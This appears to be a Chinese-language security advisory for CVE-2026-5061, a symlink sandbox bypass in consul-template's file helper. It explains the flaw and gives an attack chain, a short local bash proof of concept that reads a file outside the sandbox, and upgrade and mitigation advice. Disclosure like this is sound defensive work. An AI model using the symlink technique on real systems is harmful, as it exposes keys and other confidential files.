IPBUF安全漏洞报告
English
CVE-2026-5061 CVSS 4.7 中危

CVE-2026-5061:consul-template沙箱路径绕过漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-5061
漏洞类型
路径遍历
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
consul-template

相关标签

Path TraversalSandbox BypassConsul-templateHashiCorpInformation Disclosure

漏洞概述

consul-template库在0.42.0版本之前存在沙箱路径绕过漏洞。由于文件模板辅助函数的安全限制失效,本地低权限攻击者可利用符号链接攻击绕过沙箱,读取沙箱外的敏感文件,导致高机密性影响的信息泄露。

技术细节

该漏洞源于consul-template库中文件模板辅助函数(file helper)的沙箱路径校验逻辑存在缺陷。在默认配置下,该辅助函数旨在限制文件读取操作仅在预定义的安全沙箱目录内进行。然而,攻击者可利用符号链接(Symlink)技术规避此限制。具体利用方式为:攻击者在拥有写入权限的沙箱目录内创建一个指向沙箱外部敏感文件(如配置文件、密钥等)的符号链接。当consul-template渲染模板并调用file helper读取该链接时,程序仅检查链接本身的路径合法性,而未追踪解析后的最终目标路径是否超出沙箱边界。这导致本地低权限攻击者能够绕过安全限制,成功读取沙箱之外的任意文件,造成高机密性影响的信息泄露。

攻击链分析

STEP 1
步骤1
攻击者在本地获得低权限访问,并识别出consul-template使用的沙箱目录。
STEP 2
步骤2
攻击者在沙箱目录内创建一个指向沙箱外部敏感文件的符号链接。
STEP 3
步骤3
攻击者构造或修改模板文件,调用file helper读取该符号链接。
STEP 4
步骤4
consul-template渲染模板,解析符号链接并读取目标文件,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-5061: Sandbox path bypass via symlink # Step 1: Create a sensitive file outside the sandbox echo "SECRET_DATA" > /tmp/secret.txt # Step 2: Create the allowed sandbox directory mkdir -p /tmp/sandbox # Step 3: Create a symlink inside the sandbox pointing to the secret file # This bypasses the path check as the link itself is inside the sandbox ln -s /tmp/secret.txt /tmp/sandbox/link_to_secret # Step 4: Create a template that uses the file helper to read the symlink echo '{{ file "link_to_secret" }}' > /tmp/template.tmpl # Step 5: Run consul-template (vulnerable version < 0.42.0) # The application will follow the symlink and read /tmp/secret.txt consul-template -template=/tmp/template.tmpl:/tmp/result.txt -once cat /tmp/result.txt

影响范围

consul-template < 0.42.0

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应严格限制对沙箱目录的文件写入权限,确保攻击者无法创建符号链接,并监控consul-template进程的文件读取行为。

参考链接